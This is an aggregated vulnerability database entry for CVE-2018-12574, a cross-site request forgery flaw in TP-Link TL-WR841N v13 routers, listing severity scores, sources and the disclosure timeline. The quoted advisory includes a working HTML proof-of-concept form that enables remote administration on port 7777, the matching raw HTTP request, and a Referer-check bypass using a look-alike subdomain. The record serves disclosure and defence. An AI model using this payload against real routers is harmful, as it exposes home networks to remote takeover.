ID

VAR-201807-1265


CVE

CVE-2018-12574


TITLE

TP-Link TL-WR841N Vulnerable to cross-site request forgery

Trust: 0.8

sources: JVNDB: JVNDB-2018-007724

DESCRIPTION

CSRF exists for all actions in the web interface on TP-Link TL-WR841N v13 00000001 0.9.1 4.16 v0001.0 Build 180119 Rel.65243n devices. TP-Link TL-WR841N Contains a cross-site request forgery vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. The TP-LinkTL-WR841Nv13 is a wireless router device. TP-LinkTL-WR841Nv13 has a cross-site request forgery vulnerability, and an attacker can perform arbitrary operations on behalf of the authenticated user. * Vulnerability: Cross-Site Request Forgery * Affected Software: TP-Link TL-WR841N v13 * Affected Version: 0.9.1 4.16 v0001.0 Build 180119 Rel.65243n * Patched Version: None * Risk: High * Vendor Contacted: 05/20/2018 * Vendor Fix: None * Public Disclosure: 06/27/2018 ##### Overview The web interface of the router is vulnerable to CSRF. ##### CVSS High 8.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H ##### Details The protection mechanism that is in place against CSRF checks if the given "referer" header starts with "192.168.0.1". If it does, the request is accepted. An attacker can bypass this mechanism by prepending their domain with this string. For example, the malicious HTML and JavaScript code could be hosted at "192.168.0.1.example.com". Alternatively, an attack could originate from a different IP in the internal network, eg "192.168.0.11". ##### Proof of Concept Enable remote access: <html> <body> <form action="http://192.168.0.1/cgi?2&2" method="POST" enctype="text/plain"> <input type="hidden" name="&#91;HTTP&#95;CFG&#35;0&#44;0&#44;0&#44;0&#44;0&#44;0&#35;0&#44;0&#44;0&#44;0&#44;0&#44;0&#93;0&#44;2&#13;&#10;httpRemoteEnabled" value="1&#13;&#10;httpRemotePort&#61;7777&#13;&#10;&#91;APP&#95;CFG&#35;0&#44;0&#44;0&#44;0&#44;0&#44;0&#35;0&#44;0&#44;0&#44;0&#44;0&#44;0&#93;1&#44;1&#13;&#10;remoteHost&#61;255&#46;255&#46;255&#46;255&#13;&#10;" /> <input type="submit" value="Submit request" /> </form> </body> </html> The code would be hosted at a subdomain which starts with "192.168.0.1", eg "192.168.0.1.example.com". ##### Request POST /cgi?2&2 HTTP/1.1 Host: 192.168.0.1 User-Agent: [...] Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.0.1.example.com/csrf.html Content-Type: text/plain Content-Length: 147 Cookie: Authorization=Basic [...] DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 [HTTP_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2 httpRemoteEnabled=1 httpRemotePort=7777 [APP_CFG#0,0,0,0,0,0#0,0,0,0,0,0]1,1 remoteHost=255.255.255.255 HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Connection: close Content-Length: 8 [error]0 ##### Solution The vendor did not fix the issue. Users of the product can try to mitigate the issue by not visiting other websites while being signed into the web interface and signing out as soon as possible. Additionally, various browser plugins can be used to try to defend against attacks. ##### Timeline - 05/20/2018 Requested email address via contact form (no response) - 05/24/2018 Send advisory to security@tp-link.com asking for confirmation, set disclosure date (no response) - 06/01/2018 Asked for confirmation at support.usa@tp-link.com - 06/04/2018 Vendor confirmed receipt of advisory - 06/12/2018 Requested Status Update - 06/14/2018 Vendor claims they never received advisory - 06/14/2018 Resend advisory asking for confirmation (no response) - 06/18/2018 Reminded vendor of disclosure date (no response) - 06/18/2018 Requested CVE - 06/19/2018 CVE assigned - 06/27/2018 Disclosure -- PGP Key: https://pgp.mit.edu/pks/lookup?op=get&search=0xFD8E2B9091A24C75

Trust: 2.34

sources: NVD: CVE-2018-12574 // JVNDB: JVNDB-2018-007724 // CNVD: CNVD-2018-12359 // VULHUB: VHN-122547 // PACKETSTORM: 148349

IOT TAXONOMY

category:['Network device']sub_category: -

Trust: 0.6

sources: CNVD: CNVD-2018-12359

AFFECTED PRODUCTS

vendor:tp linkmodel:tl-wr841nscope:eqversion:0.9.1_4.16

Trust: 1.6

vendor:tp linkmodel:tl-wr841nscope: - version: -

Trust: 0.8

vendor:tp linkmodel:tl-wr841n build rel.65243nscope:eqversion:v130.9.14.16v0001.0180119

Trust: 0.6

sources: CNVD: CNVD-2018-12359 // JVNDB: JVNDB-2018-007724 // CNNVD: CNNVD-201807-066 // NVD: CVE-2018-12574

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2018-12574
value: HIGH

Trust: 1.0

NVD: CVE-2018-12574
value: HIGH

Trust: 0.8

CNVD: CNVD-2018-12359
value: HIGH

Trust: 0.6

CNNVD: CNNVD-201807-066
value: MEDIUM

Trust: 0.6

VULHUB: VHN-122547
value: MEDIUM

Trust: 0.1

nvd@nist.gov: CVE-2018-12574
severity: MEDIUM
baseScore: 6.8
vectorString: AV:N/AC:M/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 8.6
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.8

CNVD: CNVD-2018-12359
severity: HIGH
baseScore: 10.0
vectorString: AV:N/AC:L/AU:N/C:C/I:C/A:C
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: COMPLETE
integrityImpact: COMPLETE
availabilityImpact: COMPLETE
exploitabilityScore: 10.0
impactScore: 10.0
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

VULHUB: VHN-122547
severity: MEDIUM
baseScore: 6.8
vectorString: AV:N/AC:M/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 8.6
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

nvd@nist.gov: CVE-2018-12574
baseSeverity: HIGH
baseScore: 8.8
vectorString: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: REQUIRED
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: 2.8
impactScore: 5.9
version: 3.0

Trust: 1.8

sources: CNVD: CNVD-2018-12359 // VULHUB: VHN-122547 // JVNDB: JVNDB-2018-007724 // CNNVD: CNNVD-201807-066 // NVD: CVE-2018-12574

PROBLEMTYPE DATA

problemtype:CWE-352

Trust: 1.9

sources: VULHUB: VHN-122547 // JVNDB: JVNDB-2018-007724 // NVD: CVE-2018-12574

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201807-066

TYPE

cross-site request forgery

Trust: 0.6

sources: CNNVD: CNNVD-201807-066

CONFIGURATIONS

sources: JVNDB: JVNDB-2018-007724

PATCH

title:Top Pageurl:https://www.tp-link.com/en/

Trust: 0.8

sources: JVNDB: JVNDB-2018-007724

EXTERNAL IDS

db:NVDid:CVE-2018-12574

Trust: 3.2

db:JVNDBid:JVNDB-2018-007724

Trust: 0.8

db:CNNVDid:CNNVD-201807-066

Trust: 0.7

db:CNVDid:CNVD-2018-12359

Trust: 0.6

db:PACKETSTORMid:148349

Trust: 0.2

db:VULHUBid:VHN-122547

Trust: 0.1

sources: CNVD: CNVD-2018-12359 // VULHUB: VHN-122547 // JVNDB: JVNDB-2018-007724 // PACKETSTORM: 148349 // CNNVD: CNNVD-201807-066 // NVD: CVE-2018-12574

REFERENCES

url:https://software-talk.org/blog/2018/06/tplink-wr841n-csrf-cve-2018-12574/

Trust: 2.5

url:https://nvd.nist.gov/vuln/detail/cve-2018-12574

Trust: 0.9

url:https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-12574

Trust: 0.8

url:http://seclists.org/bugtraq/2018/jun/61

Trust: 0.6

url:http://192.168.0.1.example.com/csrf.html

Trust: 0.1

url:https://pgp.mit.edu/pks/lookup?op=get&search=0xfd8e2b9091a24c75

Trust: 0.1

url:http://192.168.0.1/cgi?2&2"

Trust: 0.1

sources: CNVD: CNVD-2018-12359 // VULHUB: VHN-122547 // JVNDB: JVNDB-2018-007724 // PACKETSTORM: 148349 // CNNVD: CNNVD-201807-066 // NVD: CVE-2018-12574

CREDITS

Tim Coen

Trust: 0.1

sources: PACKETSTORM: 148349

SOURCES

db:CNVDid:CNVD-2018-12359
db:VULHUBid:VHN-122547
db:JVNDBid:JVNDB-2018-007724
db:PACKETSTORMid:148349
db:CNNVDid:CNNVD-201807-066
db:NVDid:CVE-2018-12574

LAST UPDATE DATE

2024-11-23T23:08:37.324000+00:00


SOURCES UPDATE DATE

db:CNVDid:CNVD-2018-12359date:2018-06-29T00:00:00
db:VULHUBid:VHN-122547date:2018-09-04T00:00:00
db:JVNDBid:JVNDB-2018-007724date:2018-09-21T00:00:00
db:CNNVDid:CNNVD-201807-066date:2018-07-03T00:00:00
db:NVDid:CVE-2018-12574date:2024-11-21T03:45:27.623

SOURCES RELEASE DATE

db:CNVDid:CNVD-2018-12359date:2018-06-29T00:00:00
db:VULHUBid:VHN-122547date:2018-07-02T00:00:00
db:JVNDBid:JVNDB-2018-007724date:2018-09-21T00:00:00
db:PACKETSTORMid:148349date:2018-06-28T23:38:15
db:CNNVDid:CNNVD-201807-066date:2018-07-03T00:00:00
db:NVDid:CVE-2018-12574date:2018-07-02T16:29:00.443